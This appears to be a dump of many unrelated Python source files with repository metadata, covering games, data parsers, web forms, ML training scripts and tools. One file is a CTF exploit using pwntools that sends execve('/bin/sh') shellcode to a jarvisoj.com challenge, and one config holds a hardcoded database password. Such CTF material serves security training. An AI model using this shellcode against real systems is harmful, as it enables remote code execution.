0.608573
2,375
0.960372
0
0
0
0
0
0
363
0.146785
a9413ba0562d76a3686a4648b8027621dd78c41b
2,736
py
Python
src/erb/_parse.py
lyy289065406/pyyaml-erb
e0723bda98fae97c3cfeb1e9377821bd88f7ea2d
[ "MIT" ]
null
null
null
src/erb/_parse.py
lyy289065406/pyyaml-erb
e0723bda98fae97c3cfeb1e9377821bd88f7ea2d
[ "MIT" ]
null
null
null
src/erb/_parse.py
lyy289065406/pyyaml-erb
e0723bda98fae97c3cfeb1e9377821bd88f7ea2d
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : EXP # ----------------------------------------------- import os import re import numbers def _parse_dict(conf_dict) : ''' 递归解析字典值中的表达式 :param conf_dict: 原始配置字典 :return: 解析表达式后的配置字典 ''' result_dict = {} for key, val in conf_dict.it...
23.186441
83
0.50402
0
0
0
0
0
0
0
0
872
0.294993
a9420e4c78acda83f196da1eaae00337d68d7f90
132
py
Python
docs/src/mkautodoc/__init__.py
kabirkhan/spacy-data-debug
5df124d5520d5eb9bbdcd45943e325e07ed2aed2
[ "MIT" ]
null
null
null
docs/src/mkautodoc/__init__.py
kabirkhan/spacy-data-debug
5df124d5520d5eb9bbdcd45943e325e07ed2aed2
[ "MIT" ]
null
null
null
docs/src/mkautodoc/__init__.py
kabirkhan/spacy-data-debug
5df124d5520d5eb9bbdcd45943e325e07ed2aed2
[ "MIT" ]
null
null
null
from .extension import MKAutoDocExtension, makeExtension __version__ = "0.1.0" __all__ = ["MKAutoDocExtension", "makeExtension"]
18.857143
56
0.772727
0
0
0
0
0
0
0
0
42
0.318182
a9440e6319530ec77d36ca44c2d10c5d28d16894
3,227
py
Python
pullintradayprices.py
rtstock/rtstock4
040b3409cfb022767dde467578f359210a689512
[ "MIT" ]
null
null
null
pullintradayprices.py
rtstock/rtstock4
040b3409cfb022767dde467578f359210a689512
[ "MIT" ]
null
null
null
pullintradayprices.py
rtstock/rtstock4
040b3409cfb022767dde467578f359210a689512
[ "MIT" ]
null
null
null
#!/usr/bin/env python """ Retrieve intraday stock data from Google Finance. """ import csv import datetime import re import pandas as pd import requests def intradaystockprices(ticker, period=60, days=1): """ Retrieve intraday stock data from Google Finance. Parameters ---------- ticker : str ...
40.3375
132
0.515029
0
0
0
0
0
0
0
0
1,795
0.556244
a946ab769d869df40935f6c4d6219757e390f7ee
1,750
py
Python
auto/lookup.py
ggicci/fuck-leetcode
45b488530b9dbcc8b7c0b90160ea45b1ab4f8475
[ "MIT" ]
null
null
null
auto/lookup.py
ggicci/fuck-leetcode
45b488530b9dbcc8b7c0b90160ea45b1ab4f8475
[ "MIT" ]
null
null
null
auto/lookup.py
ggicci/fuck-leetcode
45b488530b9dbcc8b7c0b90160ea45b1ab4f8475
[ "MIT" ]
null
null
null
#!/usr/bin/env python import os import sys import json from argparse import ArgumentParser ROOT = os.path.dirname(os.path.abspath(__file__)) DB_FILE = os.path.join(ROOT, 'problems.json') def parse_args(): """Parse CLI tool options. """ parser = ArgumentParser() parser.add_argument('problem_id', type...
25
74
0.582286
0
0
0
0
0
0
0
0
439
0.250857
a9470a504b0eced5d1fe21002e68de978c63f971
6,789
py
Python
src/application/dungeon.py
meteoric-minks/code-jam
b094350176e54d873a04a483dc37d70533013c37
[ "MIT" ]
1
2021-07-09T14:41:12.000Z
2021-07-09T14:41:12.000Z
src/application/dungeon.py
meteoric-minks/code-jam
b094350176e54d873a04a483dc37d70533013c37
[ "MIT" ]
null
null
null
src/application/dungeon.py
meteoric-minks/code-jam
b094350176e54d873a04a483dc37d70533013c37
[ "MIT" ]
null
null
null
from __future__ import annotations # Fixes an issue with some annotations from .ascii_box import Light, LineChar from .ascii_drawing import DrawingChar class Item: """Represents an item within a Room.""" def __init__(self, x: int, y: int, c: DrawingChar, interact: bool = False): self.x, self.y = x,...
32.328571
112
0.531153
6,623
0.975549
0
0
0
0
0
0
2,054
0.302548
a947b10cb0870e9e229f94e7dbdc49713a33eb91
1,216
py
Python
ntc103f397/ntc103f397.py
hhk7734/avr_proj
cb0c5c53af7eb8a0924f8c483a1a010be4b92636
[ "MIT" ]
null
null
null
ntc103f397/ntc103f397.py
hhk7734/avr_proj
cb0c5c53af7eb8a0924f8c483a1a010be4b92636
[ "MIT" ]
null
null
null
ntc103f397/ntc103f397.py
hhk7734/avr_proj
cb0c5c53af7eb8a0924f8c483a1a010be4b92636
[ "MIT" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt # NTC103F397F datasheet d_T = np.array(np.arange(-40, 121, 5)) d_R = np.array([333.110, 240.704, 175.794, 129.707, 96.646, 72.691, 55.169, 42.234, 32.6, 25.364, 19.886, 15.705, 12.490, 10.0, 8.0584, 6.5341, 5.3297, 4.3722, 3.6065, 2.990...
26.434783
89
0.613487
0
0
0
0
0
0
0
0
195
0.160099
a94809d2a1b0b2d4efef4518fceb1a00c7233013
3,836
py
Python
math2/graph/graphs.py
AussieSeaweed/math2
9e83fa8a5a5d227d72fec1b08f6759f0f0f41fca
[ "MIT" ]
2
2021-03-29T03:15:57.000Z
2021-03-29T03:23:21.000Z
math2/graph/graphs.py
AussieSeaweed/math2
9e83fa8a5a5d227d72fec1b08f6759f0f0f41fca
[ "MIT" ]
1
2021-04-07T11:07:17.000Z
2021-04-07T11:07:17.000Z
math2/graph/graphs.py
AussieSeaweed/math2
9e83fa8a5a5d227d72fec1b08f6759f0f0f41fca
[ "MIT" ]
null
null
null
from abc import ABC, abstractmethod from collections import defaultdict from functools import partial from auxiliary import default class Edge: def __init__(self, u, v, *, weight=None, capacity=None): self.u = u self.v = v self.weight = weight self.capacity = capacity se...
25.573333
79
0.574035
3,688
0.961418
0
0
197
0.051356
0
0
120
0.031283
a9486ecd7a389e48b19a2604872a64308d6ffd50
216
py
Python
anasyspythontools/__init__.py
quiksand/anasys-pytools
50c21711c742d3201a72f9eab4986317b8590095
[ "MIT" ]
3
2019-11-05T16:44:45.000Z
2020-07-27T17:02:02.000Z
anasyspythontools/__init__.py
quiksand/anasys-pytools
50c21711c742d3201a72f9eab4986317b8590095
[ "MIT" ]
1
2018-05-30T15:44:02.000Z
2018-05-30T17:05:53.000Z
anasyspythontools/__init__.py
quiksand/anasys-pytools
50c21711c742d3201a72f9eab4986317b8590095
[ "MIT" ]
3
2019-02-21T13:11:27.000Z
2022-02-21T17:27:32.000Z
from . import anasysfile from . import anasysdoc from . import heightmap from . import irspectra from . import anasysio def read(fn): doc = anasysio.AnasysFileReader(fn)._doc return anasysdoc.AnasysDoc(doc)
21.6
44
0.759259
0
0
0
0
0
0
0
0
0
0
a948b58d4adf86897d648d15d474fef3166794ec
5,734
py
Python
src/models/test_ensemble.py
nybupt/athena
2808f5060831382e603e5dc5ec6a9e9d8901a3b2
[ "MIT" ]
null
null
null
src/models/test_ensemble.py
nybupt/athena
2808f5060831382e603e5dc5ec6a9e9d8901a3b2
[ "MIT" ]
8
2020-09-25T22:32:00.000Z
2022-02-10T01:17:17.000Z
src/models/test_ensemble.py
nybupt/athena
2808f5060831382e603e5dc5ec6a9e9d8901a3b2
[ "MIT" ]
1
2021-08-12T12:48:51.000Z
2021-08-12T12:48:51.000Z
import os import sys import time import numpy as np from sklearn.metrics import accuracy_score from utils.config import TRANSFORMATION from utils.ensemble import load_models, prediction, ensemble_defenses_util def testOneData( datasetFilePath, models, nClasses, transformationList, ...
33.144509
142
0.671085
0
0
0
0
0
0
0
0
1,548
0.269969
a9497a37feb2dcdef1ff9d5ca11f00c665e15759
20,716
py
Python
ems/views.py
abhi20161997/Apogee-2017
e4ae1b379bd5111a3bd7d3399d081dda897a8566
[ "BSD-3-Clause" ]
null
null
null
ems/views.py
abhi20161997/Apogee-2017
e4ae1b379bd5111a3bd7d3399d081dda897a8566
[ "BSD-3-Clause" ]
null
null
null
ems/views.py
abhi20161997/Apogee-2017
e4ae1b379bd5111a3bd7d3399d081dda897a8566
[ "BSD-3-Clause" ]
null
null
null
from django.shortcuts import render, redirect from django.contrib.admin.views.decorators import staff_member_required from django.views.decorators.csrf import csrf_exempt from django.contrib.auth import authenticate, login, logout from django.http import HttpResponse from ems.models import Score, Level, Judge, Label, T...
32.217729
203
0.695791
0
0
0
0
6,944
0.3352
0
0
3,395
0.163883
a949db919cd36868c22671e2839695a92034044f
3,117
py
Python
config.py
eicc27/Pixcrawl-Full
dfa36ee5b9990ff2781a9bc39a6a60c12b1c9bdb
[ "MIT" ]
null
null
null
config.py
eicc27/Pixcrawl-Full
dfa36ee5b9990ff2781a9bc39a6a60c12b1c9bdb
[ "MIT" ]
null
null
null
config.py
eicc27/Pixcrawl-Full
dfa36ee5b9990ff2781a9bc39a6a60c12b1c9bdb
[ "MIT" ]
null
null
null
from msedge.selenium_tools import Edge, EdgeOptions from lxml import html import time import curses stdscr = curses.initscr() max_y = stdscr.getmaxyx()[0] - 1 if max_y < 16: raise Exception("Terminal row size must be more then 17, but now it is %d." % (max_y + 1)) # changelog: more OOP. # class: illust,ill...
39.961538
120
0.600898
0
0
0
0
0
0
0
0
1,061
0.340391
a94bba226fe399a457f809ece3327258a884ffc0
1,181
py
Python
dev/tools/roadnet_convert/geo/formats/osm.py
gusugusu1018/simmobility-prod
d30a5ba353673f8fd35f4868c26994a0206a40b6
[ "MIT" ]
50
2018-12-21T08:21:38.000Z
2022-01-24T09:47:59.000Z
dev/tools/roadnet_convert/geo/formats/osm.py
gusugusu1018/simmobility-prod
d30a5ba353673f8fd35f4868c26994a0206a40b6
[ "MIT" ]
2
2018-12-19T13:42:47.000Z
2019-05-13T04:11:45.000Z
dev/tools/roadnet_convert/geo/formats/osm.py
gusugusu1018/simmobility-prod
d30a5ba353673f8fd35f4868c26994a0206a40b6
[ "MIT" ]
27
2018-11-28T07:30:34.000Z
2022-02-05T02:22:26.000Z
from geo.position import Location import geo.helper class RoadNetwork: '''The primary container class for OSM road networks. (See: simmob.py) Note that key/value properties are reduced to lowercase for both keys and values. ''' def __init__(self): self.bounds = [] #[Location,Location], min. poin...
31.078947
92
0.675699
1,120
0.948349
0
0
0
0
0
0
493
0.417443
a94bd224bee59029c8d307451756cf94ded0c086
375
py
Python
profiles/tables/role_binding_by_team_table.py
LaudateCorpus1/squest
98304f20c1d966fb3678d348ffd7c5be438bb6be
[ "Apache-2.0" ]
112
2021-04-21T08:52:55.000Z
2022-03-01T15:09:19.000Z
profiles/tables/role_binding_by_team_table.py
LaudateCorpus1/squest
98304f20c1d966fb3678d348ffd7c5be438bb6be
[ "Apache-2.0" ]
216
2021-04-21T09:06:47.000Z
2022-03-30T14:21:28.000Z
profiles/tables/role_binding_by_team_table.py
LaudateCorpus1/squest
98304f20c1d966fb3678d348ffd7c5be438bb6be
[ "Apache-2.0" ]
21
2021-04-20T13:53:54.000Z
2022-03-30T21:43:04.000Z
from django_tables2 import tables, Column from profiles.models import TeamRoleBinding class RoleBindingByTeamTable(tables.Table): object_name = Column(verbose_name='Name') class Meta: model = TeamRoleBinding attrs = {"id": "teams_by_object_table", "class": "table squest-pagination-tables "} ...
31.25
91
0.712
286
0.762667
0
0
0
0
0
0
105
0.28
a94dde590f87aeb3b20de4c6b4b586cab3f571b5
1,441
py
Python
Sorts/bubble_sort_recursive.py
Neiva07/Algorithms
cc2b22d1f69f0af7b91a8326550e759abfba79c8
[ "MIT" ]
199
2019-12-01T01:23:34.000Z
2022-02-28T10:30:40.000Z
Sorts/bubble_sort_recursive.py
Neiva07/Algorithms
cc2b22d1f69f0af7b91a8326550e759abfba79c8
[ "MIT" ]
35
2020-06-08T17:59:22.000Z
2021-11-11T04:00:29.000Z
Sorts/bubble_sort_recursive.py
Neiva07/Algorithms
cc2b22d1f69f0af7b91a8326550e759abfba79c8
[ "MIT" ]
106
2020-02-05T01:28:19.000Z
2022-03-11T05:38:54.000Z
# Script: bubble_sort_recursive.py # Author: Joseph L. Crandal # Purpose: Demonstrate bubble sort with recursion # data will be the list to be sorted data = [ 0, 5, 2, 3, 10, 123, -53, 23, 9, 2 ] dataOrig = [ 0, 5, 2, 3, 10, 123, -53, 23, 9, 2 ] # In a bubble sort you will work your way through the dataset # and move...
35.146341
118
0.668286
0
0
0
0
0
0
0
0
879
0.609993
a94f07dd94305ef8cca149684b5c8e4ef5b6072f
19,260
py
Python
mcv_consoler/plugins/tempest/runner.py
vladryk/mcv
ee74beafc65053ce200e03da423784cee0724e23
[ "Apache-2.0" ]
null
null
null
mcv_consoler/plugins/tempest/runner.py
vladryk/mcv
ee74beafc65053ce200e03da423784cee0724e23
[ "Apache-2.0" ]
null
null
null
mcv_consoler/plugins/tempest/runner.py
vladryk/mcv
ee74beafc65053ce200e03da423784cee0724e23
[ "Apache-2.0" ]
null
null
null
# Copyright 2015-2016 Mirantis, Inc # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
40.125
79
0.546625
17,913
0.930062
0
0
285
0.014798
0
0
5,652
0.293458
a9508614454f6bf05864b1611a7fc47f5a0baa76
299
py
Python
numpy_demo/version.py
mpmkp2020/numpy_demo
796262e06c84b7e9aa446b244a3faf3891d9ece1
[ "BSD-3-Clause" ]
null
null
null
numpy_demo/version.py
mpmkp2020/numpy_demo
796262e06c84b7e9aa446b244a3faf3891d9ece1
[ "BSD-3-Clause" ]
null
null
null
numpy_demo/version.py
mpmkp2020/numpy_demo
796262e06c84b7e9aa446b244a3faf3891d9ece1
[ "BSD-3-Clause" ]
null
null
null
# THIS FILE IS GENERATED FROM NUMPY SETUP.PY # # To compare versions robustly, use `numpy_demo.lib.NumpyVersion` short_version = '1.29.0' version = '1.29.0' full_version = '1.29.0' git_revision = 'dd8e9be4d35e25e795d8d139ff4658715767c211' release = True if not release: version = full_version
23
65
0.755853
0
0
0
0
0
0
0
0
176
0.588629
a9525cb4b63e18ce45a9ca957c592c3c20ea53fe
1,385
py
Python
docsource/sphinx/source/auto_examples/hammersleypoints/plot_hamm_points_sphere.py
EricHughesABC/pygamma_gallery
64565d364e68a185aeee25b904813d795ecbe87c
[ "MIT" ]
null
null
null
docsource/sphinx/source/auto_examples/hammersleypoints/plot_hamm_points_sphere.py
EricHughesABC/pygamma_gallery
64565d364e68a185aeee25b904813d795ecbe87c
[ "MIT" ]
null
null
null
docsource/sphinx/source/auto_examples/hammersleypoints/plot_hamm_points_sphere.py
EricHughesABC/pygamma_gallery
64565d364e68a185aeee25b904813d795ecbe87c
[ "MIT" ]
null
null
null
""" ################# Hammersley Sphere ################# """ import numpy as np from matplotlib import pyplot as plt from mpl_toolkits.mplot3d import Axes3D def return_point(m, n, p): """ m is the index number of the Hammersley point to calculate n is the maximun number of points p is the order of the...
22.704918
76
0.519856
0
0
0
0
0
0
0
0
398
0.287365
a953cb0fff14bcb71d5e717da31296569a25a401
11,261
py
Python
org/heather/setup/__init__.py
PandaLunatiquePrivate/Heather
a50ce59a7a61ac103003434fc0defc0e3bb4860c
[ "Apache-2.0" ]
2
2021-03-06T20:15:14.000Z
2021-03-28T16:58:13.000Z
org/heather/setup/__init__.py
PandaLunatiquePrivate/Heather
a50ce59a7a61ac103003434fc0defc0e3bb4860c
[ "Apache-2.0" ]
null
null
null
org/heather/setup/__init__.py
PandaLunatiquePrivate/Heather
a50ce59a7a61ac103003434fc0defc0e3bb4860c
[ "Apache-2.0" ]
null
null
null
import enum import json import os import requests import yaml import socket import sqlite3 import traceback from org.heather.api.tools import Tools from org.heather.api.log import Log, LogLevel @enum.unique class VerifyResult(enum.Enum): OK = 0 NEED_SETUP = 1 NEED_REPAIR = 2 class Setup(): @stati...
42.334586
534
0.610958
11,035
0.979931
0
0
11,014
0.978066
0
0
5,176
0.459639
a955fd4758fdef6a817f379d021c4f3cc6b7730c
5,421
py
Python
utils/belief_prop.py
atitus5/ocr-869
1d714dd28e933fb320b099a4631d25e93bb01678
[ "MIT" ]
null
null
null
utils/belief_prop.py
atitus5/ocr-869
1d714dd28e933fb320b099a4631d25e93bb01678
[ "MIT" ]
null
null
null
utils/belief_prop.py
atitus5/ocr-869
1d714dd28e933fb320b099a4631d25e93bb01678
[ "MIT" ]
null
null
null
import math import sys import time from nltk import word_tokenize import numpy as np def bp_error_correction(kjv, all_predictions): start_t = time.time() # Run belief propagation to correct any words not found in dictionary print("Setting up word set and tokenizing predictions...") word_set = set(wor...
46.333333
120
0.643239
0
0
0
0
0
0
0
0
1,323
0.244051
a9562047bea821bb81235f635245c2aa193d719c
619
py
Python
PWN/jarvisoj.com/level1/exploit.py
WinDDDog/Note
5489ffeabe75d256b8bffffb24ab131cc74f3aed
[ "Apache-2.0" ]
null
null
null
PWN/jarvisoj.com/level1/exploit.py
WinDDDog/Note
5489ffeabe75d256b8bffffb24ab131cc74f3aed
[ "Apache-2.0" ]
null
null
null
PWN/jarvisoj.com/level1/exploit.py
WinDDDog/Note
5489ffeabe75d256b8bffffb24ab131cc74f3aed
[ "Apache-2.0" ]
null
null
null
from pwn import * shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34" HOST = 'pwn2.jarvisoj.com' PORT = 9877 def PrettyTommy(ip,port): con = remote(ip,port) ...
29.47619
195
0.592892
0
0
0
0
0
0
0
0
215
0.347334
a956dee6345202cc212985e79e8f74cb1e26aa99
1,065
py
Python
botx/clients/methods/errors/unauthorized_bot.py
ExpressApp/pybotx
97c8b1ce5d45a05567ed01d545cb43174a2dcbb9
[ "MIT" ]
13
2021-01-21T12:43:10.000Z
2022-03-23T11:11:59.000Z
botx/clients/methods/errors/unauthorized_bot.py
ExpressApp/pybotx
97c8b1ce5d45a05567ed01d545cb43174a2dcbb9
[ "MIT" ]
259
2020-02-26T08:51:03.000Z
2022-03-23T11:08:36.000Z
botx/clients/methods/errors/unauthorized_bot.py
ExpressApp/pybotx
97c8b1ce5d45a05567ed01d545cb43174a2dcbb9
[ "MIT" ]
5
2019-12-02T16:19:22.000Z
2021-11-22T20:33:34.000Z
"""Definition for "invalid bot credentials" error.""" from typing import NoReturn from botx.clients.methods.base import APIErrorResponse, BotXMethod from botx.clients.types.http import HTTPResponse from botx.exceptions import BotXAPIError class InvalidBotCredentials(BotXAPIError): """Error for raising when got i...
30.428571
80
0.71831
217
0.203756
0
0
0
0
0
0
429
0.402817
a9578f51cee02781b1cf946c958d1259116e97c7
16,515
py
Python
ld38/game_scene.py
irskep/rogue_basement
f92637d7870662a401ca7bb745e3855364b5ac9c
[ "MIT" ]
16
2017-04-24T02:29:43.000Z
2021-07-31T15:53:15.000Z
ld38/game_scene.py
irskep/rogue_basement
f92637d7870662a401ca7bb745e3855364b5ac9c
[ "MIT" ]
4
2017-04-24T20:13:45.000Z
2017-05-07T16:22:52.000Z
ld38/game_scene.py
irskep/rogue_basement
f92637d7870662a401ca7bb745e3855364b5ac9c
[ "MIT" ]
2
2017-05-14T20:57:38.000Z
2017-05-19T22:08:37.000Z
# This file has a lot going on in it because really ties the game together, # just like The Dude's rug. You can probably read it start to finish, but # by all means start jumping around from here. # Dependencies for rendering the UI from clubsandwich.ui import ( LabelView, LayoutOptions, UIScene, ) # including s...
37.44898
102
0.711051
12,184
0.737754
0
0
0
0
0
0
8,780
0.531638
a958227f8764279c1268ab44258acb82a4b5a6c0
4,882
py
Python
main.py
yanxurui/portfolio
032cf47ccac1c5815fd4827bf0d5f3cf43cec990
[ "MIT" ]
null
null
null
main.py
yanxurui/portfolio
032cf47ccac1c5815fd4827bf0d5f3cf43cec990
[ "MIT" ]
null
null
null
main.py
yanxurui/portfolio
032cf47ccac1c5815fd4827bf0d5f3cf43cec990
[ "MIT" ]
null
null
null
import os import shutil import argparse from pathlib import Path from time import time from collections import defaultdict import torch import numpy as np import pandas as pd torch.manual_seed(0) def allocate(a): a[a<0] = 0 if a.sum() <= 1: return a else: return a/a.sum() def ret(output,...
33.438356
88
0.621262
0
0
0
0
0
0
0
0
1,031
0.211184
a958be1401872e502507925a19d9666e8b808383
736
py
Python
listing_manager/utils.py
mikezareno/listing-manager
7cf07c2f654925254949b8d0000104cd0cfcafe9
[ "MIT" ]
null
null
null
listing_manager/utils.py
mikezareno/listing-manager
7cf07c2f654925254949b8d0000104cd0cfcafe9
[ "MIT" ]
null
null
null
listing_manager/utils.py
mikezareno/listing-manager
7cf07c2f654925254949b8d0000104cd0cfcafe9
[ "MIT" ]
null
null
null
# from __future__ import unicode_literals import frappe, erpnext from frappe import _ import json from frappe.utils import flt, cstr, nowdate, nowtime from six import string_types class InvalidWarehouseCompany(frappe.ValidationError): pass @frappe.whitelist() def get_item_code(scancode=None): if scancode: #try ba...
26.285714
107
0.754076
59
0.080163
0
0
490
0.665761
0
0
156
0.211957
a95b262364cdeaaec9745537650c70b839330456
1,368
py
Python
package_installer.py
LukasDoesDev/deployarch
775e15220003ddbf30774167a0c3d145d84489a0
[ "MIT" ]
2
2021-02-07T14:47:28.000Z
2021-02-08T10:42:54.000Z
package_installer.py
LukasDoesDev/deployarch
775e15220003ddbf30774167a0c3d145d84489a0
[ "MIT" ]
1
2021-02-08T13:46:39.000Z
2021-02-08T13:46:39.000Z
package_installer.py
LukasDoesDev/deployarch
775e15220003ddbf30774167a0c3d145d84489a0
[ "MIT" ]
1
2021-02-07T14:47:35.000Z
2021-02-07T14:47:35.000Z
import json import subprocess PACMAN_SYNC_DB_COMMAND = 'sudo pacman --noconfirm -Sy' AUR_HELPER_COMMAND = 'paru --noconfirm -S {}' PACMAN_COMMAND = 'sudo pacman --noconfirm -S {}' def run_cmds(array): subprocess.run('\n'.join(array),shell=True, check=True,executable='/bin/bash') with open('./config.json') as f: ...
31.090909
82
0.706871
0
0
0
0
0
0
0
0
331
0.241959
a95cd5050cc5338cb7021667243f069114685055
2,293
py
Python
utils/forms.py
JakubBialoskorski/notes
1016581cbf7d2024df42f85df039c7e2a5b03205
[ "MIT" ]
null
null
null
utils/forms.py
JakubBialoskorski/notes
1016581cbf7d2024df42f85df039c7e2a5b03205
[ "MIT" ]
1
2021-06-22T20:26:20.000Z
2021-06-22T20:26:20.000Z
utils/forms.py
JakubBialoskorski/notes
1016581cbf7d2024df42f85df039c7e2a5b03205
[ "MIT" ]
null
null
null
from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, SubmitField, SelectMultipleField, HiddenField from flask_pagedown.fields import PageDownField from wtforms import validators class LoginForm(FlaskForm): username = StringField('Username*', [validators.InputRequired("Please enter your n...
61.972973
286
0.756651
2,076
0.905364
0
0
0
0
0
0
787
0.343218
a95cdc019a431df0ac19c35d5980e2ea22fe3fdc
2,508
py
Python
toolkit/retry.py
blackmatrix7/iphone_hunter
1df7bee48f4d67397fae821f8a675115525f4ef8
[ "Apache-2.0" ]
2
2017-09-27T14:11:59.000Z
2022-02-28T06:38:30.000Z
toolkit/retry.py
blackmatrix7/iphone_hunter
1df7bee48f4d67397fae821f8a675115525f4ef8
[ "Apache-2.0" ]
1
2021-06-01T21:38:59.000Z
2021-06-01T21:38:59.000Z
toolkit/retry.py
blackmatrix7/iphone_hunter
1df7bee48f4d67397fae821f8a675115525f4ef8
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2017/8/18 上午9:50 # @Author : Matrix # @Github : https://github.com/blackmatrix7/ # @Blog : http://www.cnblogs.com/blackmatrix/ # @File : retry.py # @Software: PyCharm import time from functools import wraps __author__ = 'blackmatrix' """ 在函数执行出现异常时自动重试的简单装饰器 ""...
30.585366
77
0.598086
80
0.021198
0
0
1,018
0.26974
0
0
2,471
0.654743
a95ff83ce47a3bbf06a07f81219704a5cbadd7ad
2,564
py
Python
data_loader/data_loader.py
Lishjie/LUPVisQ
b2f4bcc0e5bf4ce97f9dcfff4901a3469ce04163
[ "Apache-2.0" ]
null
null
null
data_loader/data_loader.py
Lishjie/LUPVisQ
b2f4bcc0e5bf4ce97f9dcfff4901a3469ce04163
[ "Apache-2.0" ]
null
null
null
data_loader/data_loader.py
Lishjie/LUPVisQ
b2f4bcc0e5bf4ce97f9dcfff4901a3469ce04163
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # @Time : 2021/01/02 16:26 # @Author : lishijie import torch from torch.utils import data from torch.utils.data import DataLoader import torchvision from torchvision.transforms.transforms import Resize from .databases import * class LUPVisQDataLoader(object): """Dataste class for LUPV...
45.785714
128
0.585023
2,305
0.898986
0
0
0
0
0
0
246
0.095944
a96249e5e27a4fb1f8a7acc8336f250dfb9992c9
64,609
py
Python
pyeccodes/defs/grib2/localConcepts/eswi/name_def.py
ecmwf/pyeccodes
dce2c72d3adcc0cb801731366be53327ce13a00b
[ "Apache-2.0" ]
7
2020-04-14T09:41:17.000Z
2021-08-06T09:38:19.000Z
pyeccodes/defs/grib2/localConcepts/eswi/name_def.py
ecmwf/pyeccodes
dce2c72d3adcc0cb801731366be53327ce13a00b
[ "Apache-2.0" ]
null
null
null
pyeccodes/defs/grib2/localConcepts/eswi/name_def.py
ecmwf/pyeccodes
dce2c72d3adcc0cb801731366be53327ce13a00b
[ "Apache-2.0" ]
3
2020-04-30T12:44:48.000Z
2020-12-15T08:40:26.000Z
import pyeccodes.accessors as _ def load(h): def wrapped(h): discipline = h.get_l('discipline') parameterCategory = h.get_l('parameterCategory') parameterNumber = h.get_l('parameterNumber') if discipline == 3 and parameterCategory == 1 and parameterNumber == 19: retu...
42.646205
102
0.638208
0
0
0
0
0
0
0
0
12,163
0.188256
a968e5c87a6a2fba1534a27a1696dd6c0f7117a1
1,568
py
Python
apetools/proletarians/setuprun.py
rsnakamura/oldape
b4d1c77e1d611fe2b30768b42bdc7493afb0ea95
[ "Apache-2.0" ]
null
null
null
apetools/proletarians/setuprun.py
rsnakamura/oldape
b4d1c77e1d611fe2b30768b42bdc7493afb0ea95
[ "Apache-2.0" ]
null
null
null
apetools/proletarians/setuprun.py
rsnakamura/oldape
b4d1c77e1d611fe2b30768b42bdc7493afb0ea95
[ "Apache-2.0" ]
null
null
null
# apetools Libraries from apetools.baseclass import BaseClass from apetools.builders import builder from apetools.lexicographers.lexicographer import Lexicographer class SetUp(BaseClass): """ The SetUp sets up the infrastructure """ def __init__(self, arguments, *args, **kwargs): """ ...
28
80
0.588648
1,376
0.877551
0
0
758
0.483418
0
0
469
0.299107
a969c4d30c2cfa4664e0f50b541bf7d5cc4223f3
11,423
py
Python
bleu.py
divyang02/English_to_Hindi_Machine_language_translator
0502b7bb1f86f45d452868a8701009d421765b64
[ "MIT" ]
1
2022-02-22T04:10:34.000Z
2022-02-22T04:10:34.000Z
bleu.py
divyang02/English_to_Hindi_Machine_language_translator
0502b7bb1f86f45d452868a8701009d421765b64
[ "MIT" ]
null
null
null
bleu.py
divyang02/English_to_Hindi_Machine_language_translator
0502b7bb1f86f45d452868a8701009d421765b64
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Sentence level and Corpus level BLEU score calculation tool """ from __future__ import division, print_function import io import os import math import sys import argparse from fractions import Fraction from collections import Counter from functools import reduce from...
45.692
109
0.604044
0
0
995
0.087044
0
0
0
0
3,637
0.31817
a96d1ad4941b2f2e2aed74363daf53f8103f7801
54
py
Python
configs/postgres.py
enabokov/chat
4a3a11c68c5089c119ebe5bec1dfebe699aa7c78
[ "MIT" ]
1
2019-04-14T16:49:32.000Z
2019-04-14T16:49:32.000Z
configs/postgres.py
enabokov/Chat
4a3a11c68c5089c119ebe5bec1dfebe699aa7c78
[ "MIT" ]
1
2021-03-25T21:44:52.000Z
2021-03-25T21:44:52.000Z
configs/postgres.py
enabokov/chat
4a3a11c68c5089c119ebe5bec1dfebe699aa7c78
[ "MIT" ]
null
null
null
DSN = 'postgresql://edward:edward@postgres:5432/chat'
27
53
0.759259
0
0
0
0
0
0
0
0
47
0.87037